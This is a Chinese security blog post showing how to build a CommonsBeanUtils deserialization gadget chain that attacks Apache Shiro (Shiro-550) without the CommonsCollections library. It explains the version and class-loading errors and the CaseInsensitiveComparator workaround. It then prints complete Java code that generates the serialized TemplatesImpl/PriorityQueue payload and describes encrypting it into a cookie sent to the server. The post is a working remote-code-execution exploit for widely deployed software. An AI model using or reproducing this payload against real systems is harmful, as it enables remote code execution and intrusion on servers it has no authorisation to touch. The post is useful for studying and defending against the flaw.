F4DE F4DE
首页
技术
笔记
随笔
关于
友链
归档

F4DE

Web Security
首页
技术
笔记
随笔
关于
友链
归档
  • Java安全

    • Tomcat

    • Shiro

      • Shiro权限绕过1
      • Shiro权限绕过2
      • Shiro权限绕过3
      • Shiro权限绕过4
      • Shiro反序列化
      • 利用TemplatesImpl改造CC6攻击Shiro
      • 通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
      • 在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
        • 问题出现
        • 无CommonsCollections利用链
    • 字节码

    • 反序列化

  • 技术
  • Java安全
  • Shiro
F4DE
2021-04-19

在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链

之前在Shiro反序列化中为了演示全部都手动添加了CommonsCollections的依赖,其实Shiro中自带的依赖就可以构造一条完整的利用链。

# 问题出现

Shiro中自带了CommonsBeanUtils的依赖,其版本为1.8.3:

image-20210419230806918

如果直接用上一篇文章中所介绍的利用链生成Remember Cookie直接打是不会成功的,而是会出现serialVersionUID的异常:

image-20210419231851588

举例来说,同一个类的不同版本可能会存在成员变量和方法上的改变,而进行反序列化的时候就可能出现兼容性的问题。所以,Java反序列化的时候提供了一个检测serialVersionUID的机制,如果两个UID不同,则会中断反序列化的过程,手动控制兼容性。这个UID可以是序列化的时候根据某种规则计算出来的,也可以是开发者手工赋值的。

因为上一篇文章中的CommonsBeanUtils的版本为1.9.3,而Shiro中的版本为1.8.3,所以才会出现UID不一致的情况。解决这个问题的方法也很简单,就是把我们本地的版本也改为1.8.3即可。

再使用1.8.3版本生成的payload,会出现另外一个问题:

image-20210419233343983

BeanComparator这个类本身依赖于commons.collections包下的一个类:

image-20210419233446141

在反序列化的时候进行resolveClass(把字节流中对应的字节还原成相应的java.lang.Class对象)的时候,由于Shiro中没有对应的依赖,所以会出现上面的异常。

# 无CommonsCollections利用链

在BeanComparator的构造方法中,如果不传递comparator参数,则会默认为org.apache.commons.collections.comparators.ComparableComparator的实例:

image-20210419234252129

所以才会在resolveClass的时候出现异常,所以我们可以尝试在BeanComparator的构造方法中传递一个comparator,让其不为默认的ComparableComparator。

那么根据反序列化的原则,这个comparator要满足下面的条件:

  • 实现了Serializable接口

再根据Shiro中的问题,它还要满足:

  • 实现了Comparator接口
  • Java、Shiro或者commons-beanutils自带
  • 兼容性强

而我们要找的目标就是CaseInsensitiveComparator这个类,它位于java.lang包下,是java.lang.String中的一个内部私有类,而且实现了上述的两个接口,且有极强的兼容性:

image-20210419234844780

通过String.CASE_INSENSITIVE_ORDER可以获取到上下文中的CaseInsensitiveComparator实例,然后用它实例化BeanComparator对象,这样就可以在反序列中不依赖于org.apache.commons.collections.comparators.ComparableComparator类。

生成payload,完整代码可见JavaDesPOC/CommonsBeanUtilsBak.java at master · F4ded/JavaDesPOC (github.com) (opens new window):

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;

import java.util.PriorityQueue;

/**
 * 无 CommonsCollections 依赖的 CommonsBeanUtils 利用链
 * Shiro-550 反序列化中可用
 */
public class CommonsBeanUtilsBak {
    public static void main(String[] args) throws Exception {
        byte[] bytes = MyUtils.getSimpleByteCodes();
        TemplatesImpl templates = new TemplatesImpl();
        MyUtils.setFieldValue(templates, "_name", "F4DE");
        MyUtils.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        MyUtils.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // Version:1.8.3
        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, comparator);
        // Add String element : ClassCastException[java.lang.Integer cannot be cast to java.lang.String]
        priorityQueue.add("1");
        priorityQueue.add("2");

        MyUtils.setFieldValue(comparator, "property", "outputProperties");
        MyUtils.setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

//        MyUtils.deserialize(MyUtils.serialize(priorityQueue));
        System.out.println(Base64.encodeToString(MyUtils.serialize(priorityQueue)));
    }
}

然后进行AES加密,生成Cookie,发送给Shiro:

image-20210419235342198

通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
字节码文件结构

← 通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题 字节码文件结构→

最近更新
01
CommonsBeanUtils
04-19
02
基于Tomcat全局存储进行回显
04-16
03
通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
04-13
更多文章>
Theme by Vdoing | Copyright © 2020-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×